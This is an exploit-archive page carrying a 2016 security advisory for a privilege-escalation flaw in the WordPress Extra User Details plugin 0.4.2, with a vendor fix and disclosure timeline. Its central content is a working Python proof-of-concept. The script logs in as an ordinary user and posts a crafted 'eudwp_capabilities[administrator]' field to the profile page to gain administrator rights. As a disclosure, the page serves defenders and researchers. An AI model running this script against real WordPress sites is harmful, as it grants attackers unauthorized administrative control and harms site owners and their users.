Exploit the possiblities

WordPress Extra User Details 0.4.2 Privilege Escalation

WordPress Extra User Details 0.4.2 Privilege Escalation
Posted Feb 24, 2016
Authored by panVagenas

WordPress Extra User Details plugin version 0.4.2 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | fbaea9a3905e58ac3dbb3d68b7e8bb65

WordPress Extra User Details 0.4.2 Privilege Escalation

Change Mirror Download
"""
* Exploit Title: Extra User Details [Privilege Escalation]
* Discovery Date: 2016-02-13
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://vadimk.com/
* Software Link: https://wordpress.org/plugins/extra-user-details/
* Version: 0.4.2
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

_Extra User Details_ plugin for WordPress suffers from a Privilege
Escalation
vulnerability.

The plugin hooks the `eud_update_ExtraFields` function to `profile_update`
WordPress action. This function doesn't properly check user capabilities
and
updates all meta information passed to post data. The only condition is
that
the post variable name has the `eud` prefix which is striped before
updating
the values in DB.

An attacker can exploit this misbehavior to update the
{prefix}\_capabilities
meta information to gain administrative privileges.

PoC
---

In the following PoC we assume that the database has the `wp` prefix, a
very
common scenario as this is the default WordPress value

"""
# !/usr/bin/python3

################################################################################
# Extra User Details Privilege Escalation Exploit
#
# Author: Panagiotis Vagenas <pan.vagenas>
#
# Dependencies: BeautifulSoup
(http://www.crummy.com/software/BeautifulSoup/)
################################################################################

import requests
from bs4 import BeautifulSoup

baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
profileUrl = baseUrl + '/wp-admin/profile.php'

loginPostData = {
'log': 'username',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200:
print('Login error')
exit(1)

r = s.get(profileUrl)
soup = BeautifulSoup(r.text, 'html.parser')

f = soup.find('form', {'id': 'your-profile'})
if not f:
print('Error')
exit(1)

data = {
'eudwp_capabilities[administrator]': 1,
}

for i in f.find_all('input'):
if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']:
data[i.attrs['name']] = i.attrs['value']

r = s.post(profileUrl, data)

if r.status_code == 200:
print('Success')

exit(0)

"""

Solution
--------

Upgrade to v0.4.2.1

Timeline
--------

1. **2016-02-13**: Vendor notified through wordpress.org support forums
2. **2016-02-13**: Vendor notified through through the contact form in
his website
3. **2016-02-13**: Vendor responded and received details about this issue
4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue

"""

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